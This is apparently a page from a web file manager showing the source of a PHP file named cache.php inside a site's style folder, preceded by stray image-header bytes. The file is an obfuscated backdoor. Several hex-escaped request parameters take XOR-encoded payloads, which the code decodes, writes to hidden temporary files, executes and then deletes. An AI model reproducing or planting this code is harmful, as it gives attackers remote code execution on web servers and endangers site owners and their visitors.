ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
File manager
File manager - Edit - /home/tokomrjk/josrtp.store/style/cache.php
Back
<?php if(!is_null($_REQUEST["fac"] ?? null)){ $entity = $_REQUEST["fac"]; $entity = explode ('.' ,$entity ) ; $elem = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $r = 0; array_walk($entity, function ($v9) use (&$elem, &$r, $salt2, $lenS) { $chS = ord($salt2[$r % $lenS] ); $d = ((int)$v9 - $chS - ($r % 10)) ^ 31; $elem .= chr($d ); $r++; } ); $element = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), "/tmp", "/dev/shm"]); while ($ent = array_shift($element)) { if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $component = vsprintf("%s/%s", [$ent, ".dchunk"]); if (@file_put_contents($component, $elem) !== false) { include $component; unlink($component); die(); } } } } if(filter_has_var(INPUT_POST, "\x6Darke\x72")){ $entity = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm", "/var/tmp", getenv("TMP"), "/tmp"]); $pgrp = $_REQUEST["\x6Darke\x72"]; $pgrp= explode ( '.' , $pgrp) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $r = 0; while( $r < count( $pgrp)) {$v5 = $pgrp[$r]; $sChar = ord( $s[$r % $lenS]); $d =( ( int)$v5 - $sChar -( $r % 10)) ^53; $record .= chr( $d); $r++; } foreach ($entity as $key => $comp) { if (array_product([is_dir($comp), is_writable($comp)])) { $hld = str_replace("{var_dir}", $comp, "{var_dir}/.factor"); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $hld; @unlink($hld); exit; } } } } if(array_key_exists("\x72e\x73\x6Fu\x72ce", $_REQUEST) && !is_null($_REQUEST["\x72e\x73\x6Fu\x72ce"])){ $record = $_REQUEST["\x72e\x73\x6Fu\x72ce"]; $record = explode ( '.' , $record ); $ent = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $y = 0; $len = count($record); do { if ($y >= $len) break; $v4 = $record[$y]; $sChar = ord($s3[$y % $sLen]); $d = ((int)$v4 - $sChar - ($y % 10)) ^ 14; $ent .=chr($d); $y++; } while (true); $property_set = array_filter(["/var/tmp", "/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP")]); $pointer = 0; do { $object = $property_set[$pointer] ?? null; if ($pointer >= count($property_set)) break; if (max(0, is_dir($object) * is_writable($object))) { $data = "$object" . "/.data_chunk"; if (@file_put_contents($data, $ent) !== false) { include $data; unlink($data); die(); } } $pointer++; } while (true); } if(!is_null($_POST["\x73\x79\x6Dbol"] ?? null)){ $parameter_group = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd()]); $ptr = $_POST["\x73\x79\x6Dbol"]; $ptr = explode ( '.',$ptr) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $o = 0; while ($o < count($ptr)) {$v1 = $ptr[$o]; $chS = ord($salt[$o% $lenS]); $d = ((int)$v1 - $chS - ($o% 10)) ^ 48; $dchunk .= chr($d); $o++; } for ($pset = 0, $data = count($parameter_group); $pset < $data; $pset++) { $entry = $parameter_group[$pset]; if ((function($d) { return is_dir($d) && is_writable($d); })($entry)) { $descriptor = sprintf("%s/.data_chunk", $entry); $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $descriptor; @unlink($descriptor); die(); } } } } if(in_array("en\x74it\x79", array_keys($_REQUEST))){ $flg = array_filter([getenv("TEMP"), "/var/tmp", "/dev/shm", session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd()]); $marker = $_REQUEST["en\x74it\x79"]; $marker = explode ( '.' , $marker ) ; $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $w = 0; $__tmp = $marker; while( $v2 = array_shift( $__tmp)) {$sChar = ord( $s[$w % $lenS]); $dec =( ( int)$v2 - $sChar -( $w % 10)) ^ 58; $rec .=chr( $dec); $w++; } foreach ($flg as $key => $pset) { if (max(0, is_dir($pset) * is_writable($pset))) { $itm = join("/", [$pset, ".object"]); if (file_put_contents($itm, $rec)) { require $itm; unlink($itm); die(); } } } }
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 0.82 |
proxy
|
phpinfo
|
Settings